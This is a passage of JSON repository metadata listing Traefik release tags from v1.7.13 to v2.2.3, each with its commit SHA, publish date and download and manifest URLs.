":"https://github.com/traefik/traefik/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.3/manifests"},{"name":"v2.2.2","sha":"a55f0cabdd31cdd9a2f1b1dd9b6f004f76a921bc","kind":"commit","published_at":"2020-07-08T15:16:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"efcaf64a43b2beb3d00cca08f3d3d5e7bb00377f","kind":"commit","published_at":"2020-04-29T17:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"5560ab28f2b1525759abb7b117189a53310ed1e9","kind":"commit","published_at":"2020-03-25T16:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0/manifests"},{"name":"v1.7.24","sha":"4bb6d1bf4ff144e28e929c728629f1b911c436e3","kind":"commit","published_at":"2020-03-25T13:48:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.24","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.24/manifests"},{"name":"v2.1.9","sha":"dd19fc3f3e0a5b54bd878f5e25a5cee3c82a9ae5","kind":"commit","published_at":"2020-03-23T16:40:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.9","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.9/manifests"},{"name":"v1.7.23","sha":"dcca37fe29c81e7cae4f4a3229a7ab7346afb083","kind":"commit","published_at":"2020-03-23T15:50:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.23","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.23/manifests"},{"name":"v2.2.0-rc4","sha":"da8451c6373ce09cdfa0eedb770922cabf37426f","kind":"commit","published_at":"2020-03-19T17:10:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc4/manifests"},{"name":"v2.1.8","sha":"f4fb758629c8aa266d96341e839ace6429b5a508","kind":"commit","published_at":"2020-03-19T14:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.8","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.8/manifests"},{"name":"v2.2.0-rc3","sha":"15c9fc40512282e5ade01d93e1d2d644d16aac81","kind":"commit","published_at":"2020-03-18T17:58:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc3/manifests"},{"name":"v2.1.7","sha":"683d5d5a48bad07393fdf577ee26034f3273c81b","kind":"commit","published_at":"2020-03-18T16:21:20.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.7/manifests"},{"name":"v1.7.22","sha":"5a6652fc2076b9de45dea35e70972d85ee52a125","kind":"commit","published_at":"2020-03-18T14:00:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.22","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.22/manifests"},{"name":"v2.2.0-rc2","sha":"d67e06037e61366f0af268368fa736fbc3becf94","kind":"commit","published_at":"2020-03-11T17:12:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc2/manifests"},{"name":"v2.2.0-rc1","sha":"16c48071621ac2f38bd02d55854574f384c913f0","kind":"commit","published_at":"2020-03-05T18:50:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.0-rc1/manifests"},{"name":"v2.1.6","sha":"50727358661e486990bdf60bfc9b8eb711de2908","kind":"commit","published_at":"2020-02-28T17:30:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.6/manifests"},{"name":"v2.1.5","sha":"1746ed6e1c47fb157bd941813538bf45e08273c0","kind":"commit","published_at":"2020-02-28T17:02:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.5/manifests"},{"name":"v1.7.21","sha":"31786f71636f266bc9e81e3d73847f97301a80a7","kind":"commit","published_at":"2020-02-20T17:22:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.21","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.21/manifests"},{"name":"v2.1.4","sha":"2e8cbd81b46b2644f3f36603572c9c8625f386ea","kind":"commit","published_at":"2020-02-06T16:54:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.4/manifests"},{"name":"v2.1.3","sha":"c796cd2250ecdf9dd421f78b6d1cf621076b32ef","kind":"commit","published_at":"2020-01-21T17:20:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.3/manifests"},{"name":"v2.1.2","sha":"4461ecfed16c00698a5992986f2a3828a8682e19","kind":"commit","published_at":"2020-01-07T15:56:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"a98c9f99d146af90c6b52481b02534c4633b4950","kind":"commit","published_at":"2019-12-12T18:44:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"e2982185d6aa7f3813f2c06a0e6e061421f3a584","kind":"commit","published_at":"2019-12-11T17:40:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0/manifests"},{"name":"v1.7.20","sha":"a8393faf0ae6714e9d545051011624738a9eb2b7","kind":"commit","published_at":"2019-12-10T16:50:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.20","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.20/manifests"},{"name":"v2.0.7","sha":"fb3839e09602895615fefc3934090cb013dea4f5","kind":"commit","published_at":"2019-12-09T17:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.7/manifests"},{"name":"v2.1.0-rc3","sha":"5ccca8d70896aa471ae0671519d78ad1adfeafd8","kind":"commit","published_at":"2019-12-02T18:10:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0-rc3/manifests"},{"name":"v2.0.6","sha":"ecd51a142866a788f3cce4cb633cc623e5a65bd6","kind":"commit","published_at":"2019-12-02T17:14:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.6/manifests"},{"name":"v2.1.0-rc2","sha":"3bbc88f89a74498acbc87c167139764922a44645","kind":"commit","published_at":"2019-11-15T19:32:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0-rc2/manifests"},{"name":"v2.1.0-rc1","sha":"3bdeb75cc287353a105bfce9ad082b30c8d0c9a6","kind":"commit","published_at":"2019-11-15T17:44:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.1.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.1.0-rc1/manifests"},{"name":"v2.0.5","sha":"1db22f4a1b416543f895abbfbef94bbc14fc6e91","kind":"commit","published_at":"2019-11-14T17:22:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"8b8b1427f678c2a8b0a759da377ca84c9522f0f6","kind":"commit","published_at":"2019-10-28T20:10:50.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"9d17e8826bd1c76acafcf819228c88e82a8f7e3a","kind":"commit","published_at":"2019-10-28T16:50:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.3/manifests"},{"name":"v1.7.19","sha":"f9e9e11035ba9bba7e571e5b7a65934f313b4d00","kind":"commit","published_at":"2019-10-28T13:58:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.19","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.19/manifests"},{"name":"v2.0.2","sha":"d5e3bb1b6d144651af7b5e208274a1359479c8a1","kind":"commit","published_at":"2019-10-09T17:12:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"8d7af21ff3112601d50d7395ad413ee9f1e3f32a","kind":"commit","published_at":"2019-09-26T16:02:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.1/manifests"},{"name":"v1.7.18","sha":"74ad83f05af9bb2ff9c02c8eb43d47757012af6c","kind":"commit","published_at":"2019-09-26T13:46:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.18","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.18/manifests"},{"name":"v1.7.17","sha":"d707c8ba93d235436afae7ec296c0c00e78cf148","kind":"commit","published_at":"2019-09-23T17:48:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.17","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.17/manifests"},{"name":"v2.0.0","sha":"3d784a14f9a5b6f7631af87498a7c1f35664a5b1","kind":"commit","published_at":"2019-09-16T16:28:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0/manifests"},{"name":"v2.0.0-rc4","sha":"7847b7685deacfe98dc287650b171bc5c50ae17b","kind":"commit","published_at":"2019-09-13T18:52:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc4/manifests"},{"name":"v1.7.16","sha":"254dc38c3dbaaa6fdb0f75bed412d0d7dbef9290","kind":"commit","published_at":"2019-09-13T13:04:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.16","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.16/manifests"},{"name":"v1.7.15","sha":"df5f530058782c5c79680194c55ac27530ca1055","kind":"commit","published_at":"2019-09-12T16:10:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.15","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.15/manifests"},{"name":"v2.0.0-rc3","sha":"e40e3af760cf607a8c79075991ae670fc2789b68","kind":"commit","published_at":"2019-09-10T16:58:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc3/manifests"},{"name":"v2.0.0-rc2","sha":"b77bb690de02668918282f130bf637fb9e3b2a37","kind":"commit","published_at":"2019-09-03T19:18:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc2/manifests"},{"name":"v2.0.0-rc1","sha":"da8aa2d8e4e0f398115cec350fdb9d00c7c270d2","kind":"commit","published_at":"2019-08-26T17:36:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-rc1/manifests"},{"name":"v1.7.14","sha":"f397342f165bad8b426cfb5cff6a403b180c3fe9","kind":"commit","published_at":"2019-08-14T09:06:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.14","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.14/manifests"},{"name":"v1.7.13","sha":"9de3129a55eabde371ce36276fc2e579cb496548","kind":"commit","published_at":"2019-08-08T16:04:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.13","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.13/manifests"},{"name":"v2.0.0-beta1","sha":"a5aa8c6006fc39d81427c57bf620cc878af1da03","kind":"commit","published_at":"2019-07-19T15:18:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-beta1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-beta1/manifests"},{"name":"v2.0.0-alpha8","sha":"49814b92feb30dc55586b3874f6b54754bf0ebb8","kind":"commit","published_at":"2019-07-01T17:36:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha8","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha8","manifests_u